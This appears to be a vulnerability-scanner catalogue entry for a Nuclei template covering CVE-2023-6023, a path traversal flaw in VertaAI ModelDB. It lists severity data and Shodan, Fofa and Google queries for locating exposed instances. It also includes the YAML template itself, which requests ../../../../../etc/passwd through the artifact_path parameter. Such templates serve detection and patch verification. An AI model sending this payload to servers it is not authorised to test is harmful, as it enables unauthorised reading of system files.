CVE-2023-6023: VertaAI ModelDB - Path Traversal
- Template: CVE-2023-6023
- Name: VertaAI ModelDB - Path Traversal
- Description: The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.
- Impact: Attackers can potentially exploit this vulnerability to perform a relative path traversal attack, which can lead to unauthorized access to sensitive local files on the server. As an impact it is known to affect confidentiality.
- Remediation: Restrict access to the web application
- Severity: high
- Authors: m0ck3d, cookiehanhoan
- Tags: cve, cve2023, lfi, modeldb, vertaai, vkev, vuln
- References: https://huntr.com/bounties/644ab868-db6d-4685-ab35-1a897632d2ca/, https://nvd.nist.gov/vuln/detail/CVE-2023-6023
- Cves: CVE-2023-6023
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2023/CVE-2023-6023.yaml
- Digest: 490a0046304402203733c9b616b0d748aa09ae63502e2c88855863b041d396fb12d23a26942e636102203ce16732557c8f5757e3aa4d1b45520250ded8910850065a4511921844ba4e52
- Created at: 2024-01-24T04:19:18Z
- Updated at: 2026-11-24T02:03:42Z
- Age in days: 1035
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2023/CVE-2023-6023.yaml
Classification
- Cwe: CWE-22, CWE-29
- Cvss score: 7.5
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Epss score: 0.03124
- Epss percentile: 0.88175
- Cpe: cpe:2.3:a:vertaai:modeldb:-:*:*:*:*:*:*:*
Metadata
- Fofa-query: icon_hash=-2097033750, title="verta ai"
- Google-query: intitle:"verta ai"
- Max-request: 1
- Product: modeldb
- Shodan-query: http.favicon.hash:-2097033750, http.title:"verta ai"
- Vendor: vertaai
- Verified: yes
- Zoomeye-query: title="Verta AI"
Products
| Product | Indexed | Url |
|---|---|---|
| vertaai:modeldb | yes | /v1/products/vertaai/modeldb |
Labels
- Name: API - Path Traversal
- Impact: Attackers can access arbitrary files on the server, potentially leading to information disclosure or system compromise.
- Remediation: Implement proper validation and sanitization of the artifact_path parameter to prevent path traversal.
- Vulnerability type: path_traversal
- Vulnerability impact: file_system_read, information_disclosure
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2023-6023
- Not known: requirements
```yaml
id: CVE-2023-6023
info:
name: VertaAI ModelDB - Path Traversal
author: m0ck3d,cookiehanhoan
severity: high
description: |
The endpoint "/api/v1/artifact/getArtifact?artifact_path=" is vulnerable to path traversal. The main cause of this vulnerability is due to the lack of validation and sanitization of the artifact_path parameter.
impact: |
Attackers can potentially exploit this vulnerability to perform a relative path traversal attack, which can lead to unauthorized access to sensitive local files on the server. As an impact it is known to affect confidentiality.
remediation: Restrict access to the web application
reference:
- https://huntr.com/bounties/644ab868-db6d-4685-ab35-1a897632d2ca/
- https://nvd.nist.gov/vuln/detail/CVE-2023-6023
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2023-6023
cwe-id: CWE-22,CWE-29
epss-score: 0.03124
epss-percentile: 0.88175
cpe: cpe:2.3:a:vertaai:modeldb:-:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: vertaai
product: modeldb
shodan-query:
- http.favicon.hash:-2097033750
- http.title:"verta ai"
fofa-query:
- icon_hash=-2097033750
- title="verta ai"
google-query: intitle:"verta ai"
zoomeye-query: title="Verta AI"
tags: cve,cve2023,lfi,modeldb,vertaai,vkev,vuln
http:
- method: GET
path:
- "{{BaseURL}}/api/v1/artifact/getArtifact?artifact_path=../../../../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "application/octet-stream"
- "filename="
condition: and
- type: status
status:
- 200
digest: 490a0046304402203733c9b616b0d748aa09ae63502e2c88855863b041d396fb12d23a26942e636102203ce16732557c8f5757e3aa4d1b45520250ded8910850065a4511921844ba4e52:922c64590222798bb761d5b6d8e72950
```